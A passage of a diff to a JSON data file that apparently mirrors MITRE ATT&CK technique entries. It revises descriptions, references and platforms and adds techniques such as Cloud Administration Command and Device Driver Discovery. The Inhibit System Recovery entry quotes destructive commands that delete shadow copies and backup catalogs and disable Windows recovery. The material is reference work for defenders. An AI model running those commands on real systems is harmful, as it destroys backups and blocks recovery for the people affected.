electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ", + "description": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ", "meta": { "external_id": "T1071", "kill_chain": [ @@ -12411,7 +12532,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1018", - "https://capec.mitre.org/data/definitions/292.html", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", "https://www.us-cert.gov/ncas/alerts/TA18-106A" @@ -12690,8 +12810,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1072", - "https://capec.mitre.org/data/definitions/187.html" + "https://attack.mitre.org/techniques/T1072" ] }, "uuid": "92a78814-b191-47ca-909c-1ccfe3777414", @@ -12718,7 +12837,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1082", - "https://capec.mitre.org/data/definitions/312.html", "https://cloud.google.com/compute/docs/reference/rest/v1/instances", "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get", @@ -12898,7 +13016,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1046", - "https://capec.mitre.org/data/definitions/300.html", "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html", "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a" @@ -12971,28 +13088,36 @@ "value": "Stored Application Data - T1409" }, { - "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", + "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nAdversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)", "meta": { "external_id": "T1490", "kill_chain": [ "mitre-attack:impact" ], "mitre_data_sources": [ + "Cloud Storage: Cloud Storage Deletion", "Command: Command Execution", "File: File Deletion", "Process: Process Creation", "Service: Service Metadata", + "Snapshot: Snapshot Deletion", "Windows Registry: Windows Registry Key Modification" ], "mitre_platforms": [ "Windows", "macOS", - "Linux" + "Linux", + "Network", + "IaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1490", "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/", + "https://twitter.com/TheDFIRReport/status/1498657590259109894", + "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack", + "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/" ] }, "uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", @@ -13260,7 +13385,7 @@ "value": "Cloud Infrastructure Discovery - T1580" }, { - "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", + "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials.(Citation: AWS Temporary Security Credentials)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) ", "meta": { "external_id": "T1606", "kill_chain": [ @@ -13283,6 +13408,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1606", + "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html", "https://github.com/damianh/aws-adfs-credential-generator", "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", @@ -13387,7 +13513,7 @@ "value": "NTFS File Attributes - T1096" }, { - "description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", + "description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", "meta": { "external_id": "T1069", "kill_chain": [ @@ -13413,8 +13539,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1069", - "https://capec.mitre.org/data/definitions/576.html", - "https://kubernetes.io/docs/reference/access-authn-authz/authorization/" + "https://kubernetes.io/docs/reference/access-authn-authz/authorization/", + "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" ] }, "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", @@ -13648,7 +13774,7 @@ "value": "Credentials in Registry - T1214" }, { - "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", + "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time)(Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", "meta": { "external_id": "T1124", "kill_chain": [ @@ -13660,14 +13786,15 @@ "Process: Process Creation" ], "mitre_platforms": [ - "Windows" + "Windows", + "Network" ], "refs": [ "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/", "https://attack.mitre.org/techniques/T1124", - "https://capec.mitre.org/data/definitions/295.html", "https://msdn.microsoft.com/ms724961.aspx", "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674", "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf" ] }, @@ -13689,7 +13816,7 @@ "value": "Determine strategic target - T1241" }, { - "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", + "description": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)", "meta": { "external_id": "T1217", "kill_chain": [ @@ -13706,11 +13833,13 @@ "macOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1217" + "https://attack.mitre.org/techniques/T1217", + "https://support.google.com/chrome/a/answer/7349337", + "https://www.kaspersky.com/blog/browser-data-theft/27871/" ] }, "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", - "value": "Browser Bookmark Discovery - T1217" + "value": "Browser Information Discovery - T1217" }, { "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", @@ -13792,7 +13921,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1133", - "https://capec.mitre.org/data/definitions/555.html", "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac", "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html", @@ -13837,7 +13965,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1134", - "https://capec.mitre.org/data/definitions/633.html", "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", @@ -13850,7 +13977,7 @@ "value": "Access Token Manipulation - T1134" }, { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", "meta": { "external_id": "T1531", "kill_chain": [ @@ -13896,7 +14023,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1135", - "https://capec.mitre.org/data/definitions/643.html", "https://en.wikipedia.org/wiki/Shared_resource", "https://technet.microsoft.com/library/cc770880.aspx" ] @@ -14170,7 +14296,34 @@ "value": "Spearphishing via Service - T1194" }, { - "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", + "description": "Adversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines or on-premises hybrid-joined devices. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)", + "meta": { + "external_id": "T1651", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Script: Script Execution" + ], + "mitre_platforms": [ + "IaaS", + "Azure AD" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1651", + "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html", + "https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview", + "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d", + "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/" + ] + }, + "uuid": "d94b3ae9-8059-4989-8e9f-ea0f601f80a7", + "value": "Cloud Administration Command - T1651" + }, + { + "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", "meta": { "external_id": "T1615", "kill_chain": [ @@ -14270,9 +14423,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1195", "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", - "https://capec.mitre.org/data/definitions/437.html", - "https://capec.mitre.org/data/definitions/438.html", - "https://capec.mitre.org/data/definitions/439.html", "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E", @@ -14967,7 +15117,7 @@ "value": "Implant Internal Image - T1525" }, { - "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)", + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable Cloud Logs](https://attack.mitre.org/techniques/T1562/008).", "meta": { "external_id": "T1526", "kill_chain": [ @@ -14994,6 +15144,37 @@ "uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "value": "Cloud Service Discovery - T1526" }, + { + "description": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)", + "meta": { + "external_id": "T1652", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "Process: OS API Execution", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Access" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1652", + "https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys", + "https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery", + "https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers", + "https://linux.die.net/man/8/modinfo", + "https://man7.org/linux/man-pages/man8/lsmod.8.html", + "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" + ] + }, + "uuid": "215d9700-5881-48b8-8265-6449dbb7195d", + "value": "Device Driver Discovery - T1652" + }, { "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time. \n\nThere are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.", "meta": { @@ -16018,6 +16199,7 @@ "Process: Process Access", "User Account: User Account Authentication", "User Account: User Account Modification", + "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification" ], "mitre_platforms": [ @@ -16109,7 +16291,7 @@ "value": "Search Closed Sources - T1597" }, { - "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", + "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)", "meta": { "external_id": "T1598", "kill_chain": [ @@ -16125,12 +16307,17 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1598", + "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", "https://github.com/ryhanson/phishery", "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/", "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/", + "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/", + "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing", "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/", "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages", + "https://www.proofpoint.com/us/threat-reference/email-spoofing", "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html" ] }, @@ 